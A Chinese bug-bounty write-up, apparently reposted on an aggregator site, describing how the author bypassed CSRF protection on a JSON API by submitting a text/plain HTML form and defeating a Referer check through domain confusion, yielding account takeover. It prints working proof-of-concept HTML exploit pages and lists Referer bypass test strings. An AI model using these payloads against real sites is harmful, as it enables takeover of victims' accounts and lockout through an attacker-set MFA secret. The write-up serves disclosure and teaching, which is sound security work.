漏洞挖掘 | 通过域混淆绕过实现账户接管

由于这是一个私有项目,我将使用 example.com 来代替。

很长一段时间以来,我一直想在漏洞赏金项目中找到一个账户接管(ATO)漏洞。于是,我开始探索项目范围内的 account.example.com

我做的第一件事就是注册一个新账号并登录到主应用程序。接着,我像往常一样,开始点击能找到的每个按钮,同时使用 Burp Suite 记录所有的流量。

请求分析

在查看 HTTP 历史记录后,我们发现以下几点:

1.所有请求都调用了一个 .json 端点,例如 account.example.com/login.json

2.请求以 JSON 格式发送。

3.任何请求中都没有 CSRF 头部。

在这一点上,我认为该应用程序不会受到 CSRF 攻击的影响,因为请求以 JSON 格式发送,而且由于同源策略[1],你无法设置 Content-Type 头部。因此,我开始寻找应用程序中的其他漏洞。三十分钟后,我决定尝试利用这个 CSRF 漏洞。

利用准备

我们能够利用这个漏洞的唯一方法是服务器没有检查 Content-Type 头部,并且强制其为 "application/json"。因此,让我们检查一下应用程序是否验证了这个头部...

我们将测试更改电话号码的功能,因为如果我们能够更改受害者的电话号码,就可以实现账户接管(ATO)。

图片

电话号码更改成功了。最后一次检查,然后我们就可以行动了……

再检查一下……应用程序是否要求 JSON 请求体有特定的格式,还是我们可以添加一些无关的参数并让它继续正常工作?

我们可以通过添加一个随机参数和值来检查,比如 "a":"test"

图片

让我们开始吧,现在我们可以构建我们的攻击方案了。

攻击方案

我们来创建一个简单的概念验证(POC)。我们会将 enctype="text/plain" 设置为表单的编码类型,并将 JSON 请求体包含在隐藏的输入字段中。为什么我们在攻击中需要添加额外的参数?因为如果你尝试像这样发送请求...

<html> <head><meta name="referrer" content="unsafe-url"></head> <body> <script>history.pushState('', '', '/')</script> <form name="hacker" method="POST" action="https://account.example.com/phone.json" enctype="text/plain"> <input type="hidden" name= '{"_formName":"change-phone","phone":"01111111118"}'> </form> <script> document.forms[0].submit(); </script> </body></html>

这将生成如下的 JSON 请求体:

图片

这是因为提交表单时,每个输入都需要有一个 name=value 格式的键值对,而我们想要发送的 JSON 并不符合这种格式。为了解决这个问题,我们可以将 name 属性设置为我们希望发送的 JSON 体内容,并添加一个随机参数来处理后续的 = 符号作为它的值,最后将 value 属性设置为 },以确保请求体的结构符合预期。这样可以生成符合要求的请求体,从而绕过 CSRF 保护机制。

<input type="hidden" name= '{"phone":"01111111118","a":"' value='"}'>

这样做之后,我们将得到正确格式化的 JSON 请求体。:

图片

到目前为止,我们的漏洞利用步骤如下:​​​​​​​

<html> <head><meta name="referrer" content="unsafe-url"></head> <body> <script>history.pushState('', '', '/')</script> <form name="hacker" method="POST" action="https://account.example.com/phone.json" enctype="text/plain"> <input type="hidden" name= '{"phone":"01111111118","a":"' value='"}'> </form> <script> document.forms[0].submit(); </script> </body></html>

由于整个应用程序的工作方式都相同,这使得它变得容易受到 CSRF 攻击!

现在是时候领取我们的赏金了。

不过,在此之前,何不先尝试一下?

图片

进一步调查

那么,发生了什么?我们的请求体看起来很好,所有的事情都正常。那为什么它没有成功呢?

让我们比较一下我们的两个请求,一个是通过我们的利用发送的,另一个是通过 Burp Suite 的 Repeater 发送的。

由于它们的主体是相同的,这对我们来说不是问题。Cookie 也成功发送,所以这与 SameSite 标志无关。让我们逐一检查我们的请求头:

Origin?没有问题。

Content-Type?没有问题。

Referrer?是的……

它需要有应用程序域才能正常工作。幸运的是,它是 Referrer 头,所以我们仍然有希望。

如果我们能操纵它,使其接受我们自己的服务器,我们就可以在上面托管利用代码,使用 JavaScript 中的 history.pushState 函数设置头信息,仍然可以利用这个漏洞。

所以我们需要的是域混淆——让服务器认为它是自己的域,但实际上并不是。

我们的测试:

•evilaccount.example.com → 失败

•evil.com/account.example.com → 失败

•account.exampleevil.com → 失败

•account.exampleevil.com → 失败

•account.example.com@evil.com[2] → 失败

•evil.com#account.example.com → 失败

应用程序没有验证头中域的出现,但如果我们尝试像 test@example.com 这样的格式,它会成功,而这在正常范围内。

图片

所以该域名是有效的。但是,如果它只检查 @ 符号后面的内容呢?我们可以尝试这样的格式: https://evil.com/test@example.com

让我们在我们的 Repeater 中试一下。

图片

我们最终的EXP如下:​​​​​​​

<html> <head><meta name="referrer" content="unsafe-url"></head> <body> <script>history.pushState('', '', '/')</script> <form name="hacker" method="POST" action="https://account.example.com/phone.json" enctype="text/plain"> <input type="hidden" name= '{"phone":"01111111118","a":"' value='"}'> </form> <script> history.pushState("", "", "/anything@account.example.com") document.forms[0].submit(); </script> </body></html>

由于这是整个应用程序的缓解机制,现在整个应用程序都容易受到 CSRF 攻击!

我们能够做到:

•更改帐户手机号码 → 帐户接管(ATO)

•更改帐户用户名

•更改真实姓名

•将帐户连接/断开与平台的连接

•创建/删除/编辑具有完全权限的 API 密钥

•另外两个功能

一个有趣的方面是,通过使用身份验证器应用程序激活 MFA,我们只需发送一个包含攻击者 MFA 密钥 和 一次性密码(OTP) 的请求。这将使受害者的帐户启用 MFA,从而使他们无法再次登录。

结论与经验教训

通过这个方法,我们成功利用域名混淆绕过了 CSRF。我的收获是,由于错误地假设使用 application/json 内容类型的应用程序不会受到 CSRF 的影响,我差点错过了这个漏洞。我们需要尝试所有可能的方法,绝不要仅仅相信开发者的假设。

“更改手机号码”的报告被标记为关键(9.0–10.0),因为它会导致帐户接管(ATO)。

漏洞赏金:4000 $

图片

 免费获取网安资料:

 申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/454763.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

WebRTC音频 03 - 实时通信框架

WebRTC音频01 - 设备管理 WebRTC音频 02 - Windows平台设备管理 WebRTC音频 03 - 实时通信框架(本文) WebRTC音频 04 - 关键类 WebRTC音频 05 - 音频采集编码 一、前言&#xff1a; 前面介绍了音频设备管理&#xff0c;并且以windows平台为例子&#xff0c;介绍了ADM相关的类…

探索 Web Audio API 的奇妙世界

Web Audio API 是一项强大而灵活的 JavaScript API&#xff0c;它允许开发者在网页中处理和生成音频。本文将带您深入了解 Web Audio API 的基本概念&#xff0c;并介绍一些令人兴奋的应用场景。 1. 什么是 Web Audio API&#xff1f; Web Audio API 是一组用于处理和生成音频…

react18中在列表项中如何使用useRef来获取每项的dom对象

在react中获取dom节点都知道用ref&#xff0c;但是在一个列表循环中&#xff0c;这样做是行不通的&#xff0c;需要做进一步的数据处理。 实现效果 需求&#xff1a;点击每张图片&#xff0c;当前图片出现在可视区域。 代码实现 .box{border: 1px solid #000;list-style: …

计算机专业大学四年的学习路线(非常详细),零基础入门到精通,看这一篇就够了

前言 许多学子选择踏上计算机这条充满挑战与机遇的道路。但在大学四年中&#xff0c;如何规划自己的学习路线&#xff0c;才能在毕业时脱颖而出&#xff0c;成为行业的佼佼者呢&#xff1f; 第一学年&#xff1a;基础知识的奠基 1.1 课程安排 在大学的第一年&#xff0c;重…

elementUI进度条el-progress不显示白色

效果图 通过设置百分比为100,动态修改进度条的宽度完成 <template><div class"myProgressBox"><div class"index">{{ index }}</div><div class"typeTitle">{{ typeTitle }}</div><div class"twoP…

【UE5】将2D切片图渲染为体积纹理,最终实现使用RT实时绘制体积纹理【第六篇-阶段总结篇】

因为马上就要进入下一个阶段&#xff0c;制作动态编辑体积纹理的模块。 但在这之前&#xff0c;要在这一章做最后一些整理。 首先&#xff0c;我们完成没完成的部分。其次&#xff0c;最后整理一下图表。最后&#xff0c;本文附上正在用的贴图 完善Shader 还记得我们之前注…

『完整代码』坐骑召唤

创建一个按钮 作为召唤/消失坐骑的开关 将预制体放入指定文件夹 命名为Mount01 创建脚本并编写&#xff1a;CallMount.cs using UnityEngine; using UnityEngine.UI; public class CallMount : MonoBehaviour{public Button callBtn;GameObject mountPrefab;GameObject mountIn…

嵌套div导致子区域margin失效问题解决

嵌套div导致子区域margin失效问题解决 现象原因解决方法 现象 <div class"prev"></div> <div class"parent"><div class"child"></div><div class"child"></div> </div> <div cl…

Netty无锁化设计之对象池实现

池化技术是比较常见的一种技术&#xff0c;在平时我们已经就接触很多了&#xff0c;比如线程池&#xff0c;数据库连接池等等。当我们要使用一个资源的时候从池中去获取&#xff0c;用完就放回池中以便其他线程可以使用&#xff0c;这样的目的就是为了减少资源开销&#xff0c;…

MySQL-23.多表查询-内连接

一.内连接 -- 多表查询 select * from tb_emp,tb_dept where tb_emp.dept_id tb_dept.id;-- 内连接 -- A.查询员工的姓名&#xff0c;及所属的部门名称&#xff08;隐式内连接实现&#xff09; select tb_emp.name as 员工姓名,tb_dept.name as 部门名称 from tb_emp,tb_dep…

简单介绍冯诺依曼体系

现代的计算机, 大多遵守冯诺依曼体系结构 CPU中央处理器&#xff1a;进行算术运算和逻辑判断。存储器&#xff1a;分为外存和内存&#xff0c;用于存储数据&#xff08;使用二进制方式存储&#xff09;。输入设备&#xff1a;用户给计算机发号施令。输出设备&#xff1a;计算机…

RISC-V笔记——Pipeline依赖

1. 前言 RISC-V的RVWMO模型主要包含了preserved program order、load value axiom、atomicity axiom、progress axiom和I/O Ordering。今天主要记录下preserved program order(保留程序顺序)中的Pipeline Dependencies(Pipeline依赖)。 2. Pipeline依赖 Pipeline依赖指的是&a…

LeetCode_2520. 统计能整除数字的位数_java

1、题目 2520. 统计能整除数字的位数https://leetcode.cn/problems/count-the-digits-that-divide-a-number/ 给你一个整数 num &#xff0c;返回 num 中能整除 num 的数位的数目。 如果满足 nums % val 0 &#xff0c;则认为整数 val 可以整除 nums 。 示例 1&#xff1a;…

TiDB替换Starrocks:业务综合宽表迁移的性能评估与降本增效决策

作者&#xff1a; 我是人间不清醒 原文来源&#xff1a; https://tidb.net/blog/6638f594 1、 场景 业务综合宽表是报表生成、大屏幕展示和数据计算处理的核心数据结构。目前&#xff0c;这些宽表存储在Starrocks系统中&#xff0c;但该系统存在显著的性能瓶颈。例如&#…

如何实现金蝶商品数据集成到电商系统的SKU

如何实现金蝶商品数据集成到电商SKU系统 金蝶商品数据集成到电商SKU的技术实现 在现代企业的数据管理中&#xff0c;系统间的数据对接与集成是提升业务效率和准确性的关键环节。本文将分享一个实际案例&#xff1a;如何通过轻易云数据集成平台&#xff0c;将金蝶云星辰V2中的商…

实战华为AC6508无线控制器+华为无线AP上线配置(AirEngine5762S-12+AirEngine5760-10)+无线WIFI配置

一、适用场景 1、适用于企业环境、校园环境、大户型家庭多层楼环境。 2、对于无线网络需要集中管理和监测的环境&#xff0c;无线wifi覆盖范围面积大&#xff0c;适用本实例。 3、当无线WIFI需要从一个区域到另一个区域无缝漫游时&#xff0c;确保应用不掉线&#xff0c;可使用…

简单有效修复d3d9.dll错误,11种d3d9.dll错误详细解决办法教程

当你遇到d3d9.dll文件丢失的问题时&#xff0c;可以通过今天的这篇文章详细的步骤来尝试修复这个问题&#xff0c;今天将教大家十一种d3d9.dll丢失修复的方法。 1. 重新安装DirectX以恢复d3d9.dll d3d9.dll是DirectX的一部分&#xff0c;因此重新安装DirectX通常可以解决d3d9.…

C#描述-计算机视觉OpenCV(7):MSER特征检测

C#描述-计算机视觉OpenCV&#xff08;7&#xff09;&#xff1a;MSER特征检测 基本概念操作实例效果优化 基本概念 前文C#描述-计算机视觉OpenCV&#xff08;6&#xff09;&#xff1a;形态学描述了如何对图像的前后景特征形态进行检测与运算&#xff0c;本篇将分析基于形态的…

Safari 中 filter: blur() 高斯模糊引发的性能问题及解决方案

目录 引言问题背景&#xff1a;filter: blur() 引发的问题产生问题的原因分析解决方案&#xff1a;开启硬件加速实际应用示例性能优化建议常见的调试工具与分析方法 引言 在前端开发中&#xff0c;CSS滤镜&#xff08;如filter: blur()&#xff09;的广泛使用为页面带来了各种…

大数据-173 Elasticsearch 索引操作 增删改查 详细 JSON 操作

点一下关注吧&#xff01;&#xff01;&#xff01;非常感谢&#xff01;&#xff01;持续更新&#xff01;&#xff01;&#xff01; 目前已经更新到了&#xff1a; Hadoop&#xff08;已更完&#xff09;HDFS&#xff08;已更完&#xff09;MapReduce&#xff08;已更完&am…